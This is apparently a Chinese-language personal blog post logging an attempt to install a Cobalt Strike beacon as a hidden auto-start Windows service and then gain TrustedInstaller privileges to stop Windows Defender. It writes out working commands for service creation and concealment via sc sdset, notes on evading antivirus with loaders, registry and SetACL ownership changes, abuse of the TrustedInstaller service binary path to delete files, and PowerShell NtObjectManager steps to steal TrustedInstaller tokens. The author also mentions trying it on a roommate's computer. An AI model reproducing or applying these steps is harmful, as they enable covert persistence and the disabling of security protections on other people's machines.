turated关掉windowsdefance

只能说提权可以 删文件可以 改注册表可以 但是关掉wdf 得重启

将beacon写入服务并隐藏配合turated到停止defance。需管理员。且要关掉windowsdefance或者绕过它.txt

sc create mrxn binPath=C:/Users/mrxn.net/Desktop/mrxn.exe start=auto

image-20220227180109065

& $env:SystemRoot\System32\sc.exe sdset 1t “D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU) (D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;; SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)”

image-20220227180046037

已经做好了 我们也写得是auto

可以自动启动。

接下来重开机试一下有没有上线

但是应该不会 因为defence会把它杀掉

刚开机的时候会出现两个黑框 然后瞬间消失 应该是被杀掉了

cs也没有上线。但是证明这个隐藏是可行的

接下来配合csbeacon免杀defence或者绕过或者关闭defence就行

想要使用tursyedlnstaller权限关闭defence实战中操作比较难。只使用与权限提升和留后门。不适合与这个自启动。

有两个原因:

1.提权trustedlnastaller这个操作难度大

2.即使关闭defence后也无法永久关闭。关闭后,如果机器重启的话会自动打开defence

3.即使永久关闭的话,对方发现的话就不太好。心大的话会再次开启defence。然后之前的后面就没用了

(后面证实 可以永久关闭defence!!!当然也就产生了第三个原因的坏处)

那么接下来就逐步进行

先使用cs免杀defence上线靶机并给予服务自启动

然后将服务隐藏

最后使用cs中的beacon进行实战操作从TrustedInstaller到停止WindowsDefender

为了更贴近个人主机。会先在靶机操作一遍,然后再到我舍友的机器试一下

这里先用schhhloader生成免杀看一下还能不能用

cs生成raw x64文件 (1.bin)

IMG_20220228_162129

上传试试

没有爆毒但是也没有上限

试一下gobybass

image-20220228171553170

image-20220228171725331

奇怪 又是免杀但是不上线

好家伙 原来是我开国外代理的原因

被墙给拦了

image-20220228172838314

ok 原来两个都能上线 不过这个shhloder需要设置延时 不然容易给断掉

可以看到shhh使用的是进程劫持来进行免杀

image-20220228173343877

好家伙 我就再beacon运行一下whoami gobypass就被杀了

成功断掉

image-20220228173433436

不出意外 shhhloder执行命令 也被杀了

这样看下来 我工具包里免杀全都被杀了

无所谓了 为了后续操作 直接再defence里面给后门文件允许存在

接下来

并给予服务自启动

然后将服务隐藏

image-20220228174544251

image-20220228174651602

真的吐了 就算你允许其存在了 但是只要你有后续操作还是会杀

image-20220228175254867

所以必须得做到cs的完全免杀才能运行指令

无语了

到底还是要免杀

而之后的操作2和3的顺序其实是可以调换的

从TrustedInstaller到停止WindowsDefender

这里只讲利用方法

由于cs没做免杀的话基本上用不了。这里直接本地试一下

先直接命令关闭进程试一下、

image-20220228190233239

没有权限

就算system权限也不行

为了能够关闭它

我们先升级到system权限

然后利用system权限升级到trustedinstaller权限

实战中如何提升到system权限就不用讲了 这个方法很多

dll劫持,白名单程序。域账户 lssas wmic

利用github上正好有份可以拿来看token的ps1非常方便

https://gist.githubusercontent.com/vector-sec/a049bf12da619d9af8f9c7dbd28d3b56/raw/eaddf4151ebe4345623b7066a2c768665805fcad/Get-Token.ps1

TrustedInstaller为Windows系统中众多系统内置安全主体中的一个,除了组之外也是系统重要服务,用户无法直接在此服务的上下文中运行程序或另一个服务。它是操作系统上用来对系统进行维护、更新等操作的组。SID是S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464。TrustedInstaller权限的意义是用来防止程序或用户无意或恶意破坏系统文件。这个安全主体本身是一个服务,名称为:Windows Modules Installer

image-20220228192051708

一般常规情况下,进程默认打开未启动,需要先启动下服务才能启动
那么也就意味着要获得到TrustedInstaller的权限,需要先通过服务启动下

image-20220228192323456

image-20220228192332796

image-20220228194454576

image-20220228194502521

了解下权限划分即可知道,在windows下TrustedInstaller权限其实超过了system,再回到为什么没法直接关闭WinDefend,查看WinDefend服务的dcal,可以发现管理员、system只有start的权限没法进行stop

image-20220228194540072

image-20220228194547079

这个是image-20220228194559093

的属性

image-20220228194615202

一样只有turster才行

image-20220228194629044

但服务本身和TrustedInstaller具备完全控制,可以实现stop功能

image-20220228194941762

从管理员到system出发,利用winlogon获得system权限,通过StartService启动trustedinstaller服务,从而进步获取trustedinstaller的权限,利用trustedinstaller来停止defender

当然获取trustedinstaller的权限有很多方法,

这个服务方法我暂时还没搞出来:

先用用其他的方法

方法1:

创建一个txt文件

输入以下内容

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT*\shell\runas]

@=”获取TrustedInstaller权限”

[HKEY_CLASSES_ROOT*\shell\runas\command]

@=”cmd.exe /c takeown /f "%1" && icacls "%1" /grant administrators:F”

“IsolatedCommand”=”cmd.exe /c takeown /f "%1" && icacls "%1" /grant administrators:F”

[HKEY_CLASSES_ROOT\Directory\shell\runas]

@=”获取TrustedInstaller权限”

“NoWorkingDirectory”=””

[HKEY_CLASSES_ROOT\Directory\shell\runas\command]

@=”cmd.exe /c takeown /f "%1" /r /d y && icacls "%1" /grant administrators:F /t”

“IsolatedCommand”=”cmd.exe /c takeown /f "%1" /r /d y && icacls "%1" /grant administrators:F /t”

image-20220228195938524

将文档后缀.txt更改为注册表格式.reg

先使用普通用户打开试试

image-20220228200356482

image-20220228200404904

用管理员试试

image-20220228200609213

看来只能用 管理员

image-20220228200747777

win7 成功可以 但是不难发现 win7的 defence 是是svchost.exe执行的

但是win10的是msmpeng.exe

之后再试一下 发现defence在一段时间后还是会自动打开

image-20220228201127951

win10试试

直接管理员运行

image-20220228201243072

image-20220228201247977

image-20220228201324040

失败!!!!

这个方法本来就不行

win7可以是因为win7版本低 没有做相关的防护 就算win7可以 一段时间后又不行了

方法二

下载setacl

https://helgeklein.com/download/#setacl

1、把下载解压好的程序SetACL.exe复制到C:\Windows\System32

2、以管理员身份运行命令提示符

3、按照如下格式设置执行获取权限命令:

SetACL -on文件/文件夹/注册表值名称-ot文件类型-actn要执行的操作

SetACL.exe -on “HKEY_CLASSES_ROOT\CLSID{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}” -ot reg -actn setowner -ownr “n:Administrators”

image-20220228203903259

注释:将上述注册表项所有者更新到管理员Administrator(默认为不可更改的TrustedInstaller)

SetACL.exe -on “HKEY_CLASSES_ROOT\CLSID{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}” -ot reg -actn ace -ace “n:Administrators;p:full”

image-20220228204106228

注释:让上述注册表项所有者“Administrator”获取全部权限。

注意,上述命令缺一不可,而且要按照先后顺序执行

image-20220228204318901

给当前用户也加一下

image-20220228204402686

还是不行!!!!

方法三

输入regedit,按回车键进入注册表编辑器。

定位到

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService

在右侧找到DWORD(32位)值,命名为Start。

修改数值数据为4。

image-20220228204931699

image-20220228205001492

重启文件资源管理器,或注销再登录/重启系统。

image-20220228205447399

还是在 = = 下一个

方法四(确定有用 win11也能用)

trustedInstaller(TI)组的概念

当系统资源被更改时,一个名为TrustedInstall的系统服务一定会被运行。我们使用SC模块也能发现这一点。

改变系统文件的权限实在不是个好主意,如果你做错了你会将操作系统暴露给EOP,尤其是对目录来说。资源管理器可以轻松地更改所有子文件和文件夹的安全属性为初始值。当然,TI会阻止你这么做的,但是总有些人出于某些目的而想要这么做。

你也许会想,我可以把当前用户添加到TI组中。不幸的是像NetLocalGroupAddMembers这样的LSASS api不使用SID,修改注册表值NT SERVICETrustedInstaller同样无效。因为它根本就不是一个真实的组,它是使用其他方法来创建的。也许你可以通过念一段神奇的咒语来完成这件事,或者至少使用底层的RPC调用,但我认为这么做不太值得。

因此,修改TI服务设置的最快方法是通过改变设置来运行一个其他的二进制文件。奇怪的是,TI服务使得系统上的文件很难被随意修改,但是它却不保护它自己,修改它的操作可以以一个普通管理员的权限完成。所以你可以使用下面的命令来删除任意文件

1
sc config TrustedInstaller binPath= "cmd.exe /C del pathtofile"

启动TI服务,咻的一声文件就没了。这条命令能够生效的另一个原因是,TI不是一个Protected Process Light (PPL),这也是一件奇怪的事情,因为TI组被赋予了删除和停止PPL服务的权限。有大佬把这一点向MSRC指出过(并且Alex lonescu在2013年也这么做了),但是微软并没有采取任何措施去修复。看起来微软也并不认为PPL是一个安全边界。

上述操作做完之后你必须把TI服务恢复到原来的状态,否则像Windows Update之类的服务就没法正常工作了。由于TI服务有一个token,那么我们是否可以借用这个token来创建一个新进程呢?

作为管理员,我们可以调用SeDebugPrivilege函数来打开TI进程和它的token。然后我们就可以做任何事情了,试一下吧:

首先,我们需要下载并安装 Set-NtTokenPrivilege 命令所需模块,我们先在系统 C 盘根目录新建名为“token”的文件夹。

接着,我们以管理员身份运行 Powershell,然后输入(其中 C:\token,为我们刚刚新建文件夹的路径):

Save-Module -Name NtObjectManager -Path c:\token (记得翻墙下载!!!!!!!!)

并回车(第一次安装会出现询问,输入“Y”并回车):

image-20220228211822811

稍等片刻下载完成后,我们输入:

Install-Module -Name NtObjectManager

并回车,正式安装。若出现不受信任的存储库,输入“A”并回车:

image-20220228212908738

等安装结束后,需要让系统允许使用 Windows Powershell 脚本,输入以下命令:

Set-ExecutionPolicy Unrestricted

回车执行命令,系统会显示执行策略更改,输入 A 并回车确认

image-20220228212931388

接着,导入 NtObjectManager 模块,输入并回车执行以下命令:

Import-Module NtObjectManager

image-20220228212958601

好的 准备工作结束 正式开始利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sc.exe start TrustedInstaller



Set-NtTokenPrivilege SeDebugPrivilege



Start-Service TrustedInstaller

$p = Get-Ntprocess -Name TrustedInstaller.exe

$t = $p.OpenToken()

$t.Groups | Where-Object {$_.Sid.Name -match "TrustedInstaller"}

image-20220228213138297

whoami /groups /fo list试一下

image-20220228213208546

可以看到我们已经获得 Trustedinstaller 权限了,现在就可以通过一些命令修改系统文件了。如果想要更加方便操作,可以通过此 CMD 运行 taskmgr、notepad 等应用,在运行新任务、打开文件的浏览窗口下,进行文件编辑。编辑结束后直接关闭即可。

  注意!不要使用 CMD 运行 explorer,因为 explorer 无法在当前用户下正常使用。在这之后如果,想要重新获得 Trustedinstaller 权限重新执行以下命令即可:

 

1
 sc.exe start TrustedInstallerSet-NtTokenPrivilege SeDebugPrivilege$p = Get-NtProcess -Name TrustedInstaller.exe$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p

这很简单,是时候来尝试一下TI的其他操作了。

image-20220228210725027

好吧,看起来我们没法通过使用这个token创建或者模拟一个进程,这可不太好。在上图底部我们可以看到原因。我们只有TOKEN_QUERY的权限,但是我们至少需要TOKEN_DUPLICATE权限来获取一个创建新进程所需要的token。检查token的安全描述,使用Process Hacker来查看为什么我们的访问权限这么低(我们甚至连READ_CONTROL权限都没有)。image-20220228210735367

可以看到,管理员组只有TOKEN_QUERY权限。这一点与我们通过token获得的访问权限是一致的。你可能想知道为什么SeDebugPrivilege没有生效,因为调试权限仅仅绕过了进程和线程对象的安全检查,它并不会对token进行任何操作,因为我们没法获得它的帮助。看起来有点麻烦,但是是否就没有除了修改服务二进制这种暴力操作以外的其他方法来达到目的了呢?

当然不是了。有一些例子可以说明我们如何让类似于TI的服务运行起来,一般来说,可以先安装一个服务来运行代码,然后窃取TI令牌,最后再创建新进程。很容易理解,如果我想创建一个服务,我只需要修改Trusted Installer服务。

因此,有两种很简单的方法来绕过这种权限限制,并且不需要任何新的或者修改过的或者注入过代码的服务。我们首先来看创建新进程的问题。一个进程的父进程会调用CreateProcess,对于UAC来说,这将提升子进程的权限,这看起来有些奇怪。为了支持微软所介绍的Vista中的最小权限原则,通过创建新进程时都会显式指定一个父进程,以便权限提升后的进程仍然是调用者的子进程。

通常在开启了UAC的情况下,你可以显示指定子新进程的token。然而,如果你没有指定token,新进程就会从父进程处继承token。因此,我们这么做的唯一要求是获得父进程句柄的PROCESS_CREATE_PROCESS权限。由于我们已经有SeDebugPrivilege权限了,我们就可以获取TI进程的完整权限,当然也包括创建它的子进程的权限。这么做的额外好处是,内核中创建进程的代码甚至会直接为调用者分配正确的会话ID,这样就可以创建交互式进程了。我们利用这种特性,在当前桌面上通过New-Win32Process使用TI服务的token创建了任意进程,并且通过-ParentProcess参数将进程对象传递进去。image-20220228210747258

在不创建新进程的情况下模拟token也很有用。有没有方法实现呢?有。我们可以使用NtImpersonateThread API,它允许从现有的线程中捕获上下文,并且可以应用到另一条线程中。模拟上下文工作的过程是,内核首先尝试捕获该线程的token,如果线程没有token,那么内核将通过模拟来复制与线程相关进程的token。而NtImpersonateThread API的美妙之处在于,设置父进程时不需要访问token的权限,它只需要THREAD_DIRECT_IMPERSONATION模拟访问一个线程,这一点我们只需要使用SeDebugPrivilege就可以做到。因此,可以通过以下步骤来获得一个不产生新进程的模拟线程:

以至少PROCESS_QUERY_INFORMATION的权限打开一个进程,枚举其线程

以THREAD_DIRECT_IMPERSONATION权限打开进程中的第一条线程

调用NtImpersonate Thread来获取一个模拟token

1
2
3
4
5
6
7
8
9
10
11
12
13
sc.exe start TrustedInstaller

$p = Get-NtProcess -Name TrustedInstaller.exe

$th = $p.GetFirstThread()

$current = Get-NtThread -Current -PseudoHandle

$imp = $current.ImpersonateThread($th)

$imp_token = Get-NtToken -Impersonation

$imp_token.Groups | Where-Object {$_.Sid.Name -match "TrustedInstaller"}

image-20220228214339561

现在,只要其他线程不去设置主线程的模拟token(并且你也不要在分离出的线程上做任何事情),那么你的PowerShell控制台就是拥有TI组的状态。

$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -Token $t

image-20220228214545675

直接运行 就很nice

$imp = $t.Impersonate()

$t.GrantedAccess

试试关闭WDF

image-20220228214648480

没有出现拒绝访问 就很nice!!!

怎么永久删除呢 后面讲解 使defende无法恢复呢


turated关掉windowsdefance
http://example.com/turated关掉windowsdefance.html
Author
CDxiaodong
Posted on
April 9, 2022
Licensed under